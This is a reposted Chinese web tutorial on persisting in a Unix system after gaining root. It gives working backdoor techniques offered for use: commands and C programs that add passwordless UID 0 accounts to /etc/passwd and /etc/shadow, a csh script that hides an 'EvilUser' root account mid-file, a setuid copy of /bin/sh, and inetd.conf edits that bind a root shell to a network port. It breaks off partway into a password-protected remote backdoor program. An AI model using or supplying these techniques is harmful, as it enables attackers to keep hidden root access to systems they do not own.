鸿 网 互 联 www.68idc.cn

unix系统被攻克之后的处理

来源:互联网 作者:佚名 时间:2015-10-14 08:16
首语: 得到了 系统 了root 之后 ,要做什么呢?自己的看法:先是留上几个后门,目的自然明白,为自己能以后进去开个方便之门,再是隐藏自己吧! 之后 看看有没有gcc,好用来编译程序,没有?给他装上一个.他速度不错,用来扫描很好,那装个nessus。想法好象
  

首语: 得到了系统了root之后,要做什么呢?自己的看法:先是留上几个后门,目的自然明白,为自己能以后进去开个方便之门,再是隐藏自己吧!之后看看有没有gcc,好用来编译程序,没有?给他装上一个.他速度不错,用来扫描很好,那装个nessus。想法好象很好,如何实现,看下面拉:


第一部分 后门及隐藏自己

1.0后门:


1.0.1给/etc/passwd和/etc/passwd加个用户:

echo "hacker::0:0::/:/bin/sh">>/etc/passwd
echo "hacker::::::">>/etc/shadow
手工麻烦,用别人用程序来:
<++> backdoor/backdoor1.c
#include <stdio.h>
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
}
<-->

不过容易给root发现,来改进一下:

改其中一些不太常用的用户,如games,先把cp /etc/passwd /etc/passwdold,在用vi来修改/etc/passwdold games的的uid和gid为0还有得到的shell,games行如下:

games::0:0::/:/bin/sh

第二次改进,加用户到/etc/passwd中间的位置:(这个是看别人的呵呵,还没试!)

#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# daemon9@netcom.com

set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...

还是容易给发现,加个普通的用户,下面的方法来得到root权限




1.0.2setuid shell

方法:
cp /bin/sh /tmp/.sh
chmod u+s /tmp/.sh
以后只要运行/tmp/.sh 就可以得到root。
不过/tmp的数据容易给消除,可以放在其他的目录


用程序来看看:

<++> backdoor/backdoor2.c
#include <stdio.h>
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
<-->



1.0.3进程后门

打开/etc/inetd.conf 文件,形式如下,不详细解析,你自己看相关说明。
服务名 套接字类型 协议类型 wait/nowait 用户名 服务程序路径 服务名和参数
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd

看到这样一行:
daytime stream tcp nowait root internal

把这一行改为自己想要的:

daytime stream tcp nowait root /bin/sh sh -i

重新启动inetd
kill -9 /usr/sbin/inetd or /usr/etc/inetd


那些已知的服务在/etc/services可以找的到。其格式如下

(1) (2)/(3) (4)
smtp 25/tcp mail


可以添加一个自己的服务:

evil 22/tcp evil

然后在/etc/inetd.conf加入:

evil stream tcp nowait root /bin/sh sh -i

重新启动inetd
kill -9 /usr/sbin/inetd or /usr/etc/inetd

如果启动个shell,那就可以远程登陆,看看下面的摘录:

更好、更隐蔽的方法是伪造网络服务,让它能够在更难以察觉的情况下为我们提供后门,例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问,那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口,该程序对外来连接不提供任何提示符,但只要直接输入了正确的口令,就能够顺利地进入系统。以下是这种后门的一个示范程序。(注:这个程序写得并不很完整。)

<++> backdoor/remoteback.c
/* Coders:
Theft

Help from:
Sector9, Halogen

Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup:
# gcc -o backhore backhore.c # ./backdoor password &
Run:
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.

Distributers:
Ethical Mutiny Crew

*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>

网友评论
<